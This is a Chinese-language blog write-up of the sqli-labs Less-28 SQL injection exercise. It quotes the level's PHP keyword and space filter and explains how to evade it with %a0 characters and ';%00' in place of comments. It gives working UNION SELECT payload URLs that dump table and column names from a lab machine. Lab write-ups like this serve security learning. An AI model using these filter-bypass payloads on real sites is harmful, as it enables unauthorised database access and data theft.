Sqli-labs

接着好久之前的sql注入学习

Less-28源代码如下:

function blacklist($id)
{
$id= preg_replace('/[/*]/',"", $id);              //strip out /*
$id= preg_replace('/[--]/',"", $id);              //Strip out --.
$id= preg_replace('/[#]/',"", $id);                  //Strip out #.
$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
$id= preg_replace('/unions+select/i',"", $id);      //Strip out UNION & SELECT.
return $id;
}

解法:

参考了https://www.cnblogs.com/zhengna/p/12655523.html

正则表达式'/unions+select/i'中,s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写

就是说只看最后一项,正则匹配会过滤 union加空格加select,只有这个表达式(不区分大小写)满足的时候才会进行过滤,但是双写空格会被之前的空格匹配过滤。

如果空格替换成其他等价的字符,如/**/(被过滤)、tap空格、%0a(换行符,sql查询特性)、%a0就能绕过匹配

但是没有报错回显无法使用报错判断,只能尝试爆出信息:

尝试(以下语句需要在后面添加%0a1=1;%00),由于注释符被过滤,因此使用;%00替代

引入新的语句

之后尝试出现回显

之后进入正常步骤,先order by,到4的时候不回显,说明字段结构是3的长度

继续查数据库,突然没有回显,回去看看,发现参考博客写的并不严谨

s表示匹配一个空格,但也能匹配包括tab键等空白符,因此%0a换行符也被匹配了,至此我们只能使用%a0来绕过

查询表

 http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,table_name,3%a0from%a0information_schema.tables;%00

查列

 http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name=%27CHARACTER_SETS%27;%00

最后去查值,select列名from表名,如果无回显,可以去参考其他资料,又或者是sqli-labs配置错误

[Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
原文地址:https://www.cnblogs.com/echoDetected/p/13268998.html